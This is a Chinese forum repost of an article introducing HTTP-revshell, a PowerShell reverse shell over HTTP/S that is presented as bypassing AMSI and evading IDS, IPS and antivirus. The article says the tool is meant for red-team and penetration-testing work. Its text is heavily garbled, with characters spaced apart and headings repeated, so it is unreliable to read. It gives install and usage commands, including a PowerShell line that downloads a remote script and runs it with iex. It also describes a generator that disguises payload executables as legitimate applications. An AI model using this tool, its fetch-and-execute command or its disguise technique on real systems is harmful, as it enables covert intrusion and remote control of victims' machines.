搜索

[16170] 2020-12-05_HTTP-revshell：能绕过AMSI的PowerShell代理感知型反向Shell

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-12-05_HTTP-revshell：能绕过AMSI的PowerShell代理感知型反向Shell H T T P - r e v s h e l l ： 能 绕 过 A M S I 的 P o w e r S h e l l 代 理 感 知 型 反 向 S h e l l A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 2 - 0 5 H T T P - r e v s h e l l H T T P - r e v s h e l l 是 一 个 能 够 绕 过 A M S I 的 P o w e r S h e l l 代 理 感 知 型 反 向 S h e l l ， 这 款 工 具 转 为 红 队 研 究 人 员 以 及 渗 透 测 试 人 员 设 计 ， 能 够 通 过 H T T P / S 协 议 来 给 研 究 人 员 提 供 一 个 反 向 S h e l l 链 接 。 H T T P - r e v s h e l l 使 用 了 一 种 隐 蔽 的 数 据 信 道 ， 可 以 通 过 W e b 请 求 来 获 取 目 标 设 备 的 控 制 权 ， 从 而 绕 过 类 似 I D S 、 I P S 和 A V 之 类 的 安 全 解 决 方 案 。 功 能 介 绍 功 能 介 绍 S S L 代 理 感 知 上 传 功 能 下 载 功 能 错 误 控 制 A M S I 绕 过 服 务 器 端 多 会 话 支 持 P o w e r S h e l l 函 数 自 动 补 全 工 具 安 装 工 具 安 装 广 大 研 究 人 员 可 以 使 用 下 列 命 令 将 该 项 目 源 码 克 隆 至 本 地 ， 并 完 成 依 赖 组 件 的 自 动 化 安 装 ： 数 据 提 取 功 能 使 用 数 据 提 取 功 能 使 用 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / 3 v 4 S i 0 N / H T T P - r e v s h e l l . g i t c d   H T T P - r e v s h e l l / p i p 3   i n s t a l l   - r   r e q u i r e m e n t s . t x t
上 传 ： 上 传 ： 下 载 ： 下 载 ： 查 看 查 看 s e r v e r . p y 帮 助 帮 助 - 服 务 器 端 使 用 服 务 器 端 使 用 查 看 查 看 W e b R e v . p s 1 帮 助 帮 助 - 客 户 端 使 用 客 户 端 使 用 工 具 使 用 工 具 使 用 - s e r v e r - m u l t i s e s s i o n . p y （ 服 务 器 端 多 会 话 支 持 ） （ 服 务 器 端 多 会 话 支 持 ） 服 务 器 端 支 持 同 时 与 客 户 端 建 立 多 个 链 接 ， 下 面 给 出 的 菜 单 中 包 含 三 哥 基 础 命 令 ， 即 s e s s i o n s 、 i n t e r a c t 和 e x i t ： 如 需 修 改 会 话 ， 可 以 按 下 C T R L + D 来 退 出 当 前 会 话 ， 此 时 不 会 关 闭 原 有 会 话 。 R e v s h e l l - G e n e r a t o r . p s 1 - P a y l o a d 自 动 生 成 器 自 动 生 成 器 这 个 脚 本 可 以 帮 助 我 们 创 建 一 个 带 有 P a y l o a d 的 可 执 行 文 件 ， 这 个 文 件 是 我 们 使 用 H T T P - r e v s h e l l 所 必 须 的 。 工 具 提 供 了 六 个 预 定 义 的 模 板 和 一 个 支 持 自 定 义 的 模 板 。 工 具 生 成 的 P a y l o a d 会 伪 装 成 合 法 应 用 程 序 的 图 标 、 产 品 信 息 和 版 权 信 息 等 等 。 除 此 之 外 ， 它 们 都 会 在 与 服 务 器 建 立 连 接 之 前 打 开 原 始 的 应 用 程 序 ， 并 伪 装 成 合 法 应 用 程 序 来 执 行 。 P a y l o a d 生 成 器 使 用 ： 生 成 器 使 用 ： 工 具 使 用 样 例 工 具 使 用 样 例 u p l o a d   / s r c / p a t h / f i l e   C : d e s t p a t h f i l e d o w n l o a d   C : s r c p a t h f i l e   / d s t / p a t h / f i l e u s a g e :   s e r v e r . p y   [ - h ]   [ - - s s l ]   [ - - a u t o c o m p l e t e ]   h o s t   p o r t P r o c e s s   s o m e   i n t e g e r s . p o s i t i o n a l   a r g u m e n t s :     h o s t                         L i s t e n   H o s t     p o r t                         L i s t e n   P o r t o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p             s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - - s s l                       S e n d   t r a f f i c   o v e r   s s l     - - a u t o c o m p l e t e     A u t o c o m p l e t e   p o w e r s h e l l   f u n c t i o n s I m p o r t - M o d u l e   . I n v o k e - W e b R e v . p s 1 I n v o k e - W e b R e v   - i p   I P   - p o r t   P O R T   [ - s s l ] -   s e s s i o n s   - - >   显 示 当 前 活 动 会 话           -   i n t e r a c t   - - >   与 一 个 会 话 进 行 交 互 ， 比 如 说 ： i n t e r a c t   < s e s s i o n _ i d >           -   e x i t   - - >   关 闭 应 用 程 序 p o w e r s h e l l   - e p   b y p a s s   " i w r   - u s e b   h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / 3 v 4 S i 0 N / H T T P - r e v s h e l l / m a s t e r / R e v s h e l l - G e n e r a t o r . p s 1   |   i e x "

许 可 证 协 议 许 可 证 协 议 本 项 目 的 开 发 与 发 布 遵 循 L G P L v 3 + 开 源 许 可 证 协 议 。 项 目 地 址 项 目 地 址 H T T P - r e v s h e l l ： 【 G i t H u b 传 送 门 】 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理